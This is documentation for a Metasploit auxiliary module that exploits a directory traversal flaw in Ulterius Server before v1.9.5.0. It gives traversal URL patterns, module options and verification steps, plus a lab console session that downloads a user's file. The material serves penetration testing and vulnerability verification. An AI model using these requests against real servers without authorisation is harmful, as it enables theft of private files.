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Description

This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0. The directory traversal flaw occurs in Ulterius Server's HttpServer.Process function call. While processing file requests, the HttpServer.Process function does not validate that the requested file is within the web server's root directory or a subdirectory.

Vulnerable Application

When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called fileIndex.db, which contains filenames and directories located on the server. By requesting fileIndex.db and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing fileIndex.db, additional requests can be generated to download desired files.

As noted in the EDB PoC, the fileIndex.db is usually located at:

http://ulteriusURL:22006/.../fileIndex.db

Note: 22006 was the default port after setting up the Ulterius Server.

After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:

http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>

Note: The EDB PoC used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the HttpServer.Process function made use of the Path.Combine function.

If path2 includes a root, path2 is returned.

Options

PATH

This option specifies the absolute or relative path of the file to download. (default: /…/fileIndex.db)

Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.

Verification Steps

• Install Ulterius Server < v1.9.5.0

• ./msfconsole

• use auxiliary/admin/http/ulterius_file_download

• set rhost <rhost>

• run

• Verify loot contains file system paths from remote file system.

• set path '<DriveLetter>:/<path>/<to>/<file>'

• run

• Verify contents of file

Scenarios

Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.

msf5 > use auxiliary/admin/http/ulterius_file_download
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
rhost => 172.22.222.122
msf5 auxiliary(admin/http/ulterius_file_download) > run

[*] Starting to parse fileIndex.db...
[*] Remote file paths saved in: filepath0
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
path => C:/users/pwnduser/desktop/tmp.txt
msf5 auxiliary(admin/http/ulterius_file_download) > run

[*] C:/users/pwnduser/desktop/tmp.txt
[*] File contents saved: filepath1
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/ulterius_file_download) >